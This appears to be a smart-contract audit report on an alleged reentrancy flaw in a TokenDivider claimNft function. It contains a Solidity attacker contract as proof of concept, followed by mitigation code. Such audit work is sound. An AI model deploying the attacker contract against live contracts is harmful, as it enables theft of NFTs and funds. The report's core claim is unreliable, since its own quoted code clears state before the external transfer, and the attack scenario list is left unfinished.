Summary
The claimNft
function in the TokenDivider contract lacks reentrancy protection while performing multiple external calls to untrusted contracts. This vulnerability could allow malicious actors to reenter the contract during NFT claims, potentially leading to unauthorized token claims and state manipulation.
Vulnerability Detail
The claimNft
function performs external calls to both ERC20 and ERC721 contracts without implementing reentrancy protection:
function claimNft(address nftAddress) external {
ERC20ToGenerateNftFraccion(tokenInfo.erc20Address).burnFrom(
msg.sender,
erc20ToMintedAmount[tokenInfo.erc20Address]
);
balances[msg.sender][tokenInfo.erc20Address] = 0;
erc20ToMintedAmount[tokenInfo.erc20Address] = 0;
IERC721(nftAddress).safeTransferFrom(
address(this),
msg.sender,
tokenInfo.tokenId
);
}
Impact
If exploited, this vulnerability could result in:
Double-claiming of NFTs
State inconsistency between fractional tokens and NFTs
Theft of locked NFTs
Permanent contract state corruption
Loss of user funds
Tool Used
Foundry
Proof of Concept
contract ReentrancyAttacker is IERC721Receiver {
TokenDivider target;
address nftAddress;
uint256 tokenId;
bool attacked;
constructor(address _target) {
target = TokenDivider(_target);
}
function attack(address _nft, uint256 _tokenId) external {
nftAddress = _nft;
tokenId = _tokenId;
target.claimNft(nftAddress);
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external returns (bytes4) {
if (!attacked) {
attacked = true;
target.claimNft(nftAddress);
}
return this.onERC721Received.selector;
}
}
Attack Scenario
Attacker deploys ReentrancyAttacker
contract
Attacker legitimately acquires all fractional tokens for an NFT
Attacker initiates claim through ReentrancyAttacker
During safeTransferFrom
, onERC721Received
is called
onERC721Received
reenters claimNft
before state updates complete
Contract state becomes corrupted, potentially allowing:
Recommended Mitigation Steps
Add Reentrancy Guard
contract TokenDivider is ReentrancyGuard {
function claimNft(address nftAddress) external nonReentrant {
}
}
Implement Checks-Effects-Interactions Pattern
function claimNft(address nftAddress) external nonReentrant {
_validateClaimRequest(nftAddress);
_updateStateForClaim(nftAddress);
_executeClaimTransfers(nftAddress);
}
Add State Locking Mechanism
mapping(address => bool) private _claimLocked;
modifier claimLock(address nft) {
require(!_claimLocked[nft], "Claim in progress");
_claimLocked[nft] = true;
_;
_claimLocked[nft] = false;
}
Complete Implementation Example
function claimNft(
address nftAddress
) external nonReentrant claimLock(nftAddress) {
ERC20Info storage tokenInfo = nftToErc20Info[nftAddress];
uint256 totalSupply = erc20ToMintedAmount[tokenInfo.erc20Address];
require(totalSupply > 0, "Nothing to claim");
require(
balances[msg.sender][tokenInfo.erc20Address] == totalSupply,
"Must own all fractions"
);
delete balances[msg.sender][tokenInfo.erc20Address];
delete erc20ToMintedAmount[tokenInfo.erc20Address];
delete nftToErc20Info[nftAddress];
ERC20ToGenerateNftFraccion(tokenInfo.erc20Address).burnFrom(
msg.sender,
totalSupply
);
IERC721(nftAddress).safeTransferFrom(
address(this),
msg.sender,
tokenInfo.tokenId
);
emit NftClaimed(nftAddress, msg.sender, tokenInfo.tokenId, totalSupply);
}
Additional Recommendations
Consider implementing a pausable mechanism for emergency situations
Add comprehensive event logging for all critical operations
Implement timelock for large value transfers
Add claim cooldown period to prevent rapid claiming attempts
Consider using proxy patterns for contract upgradeability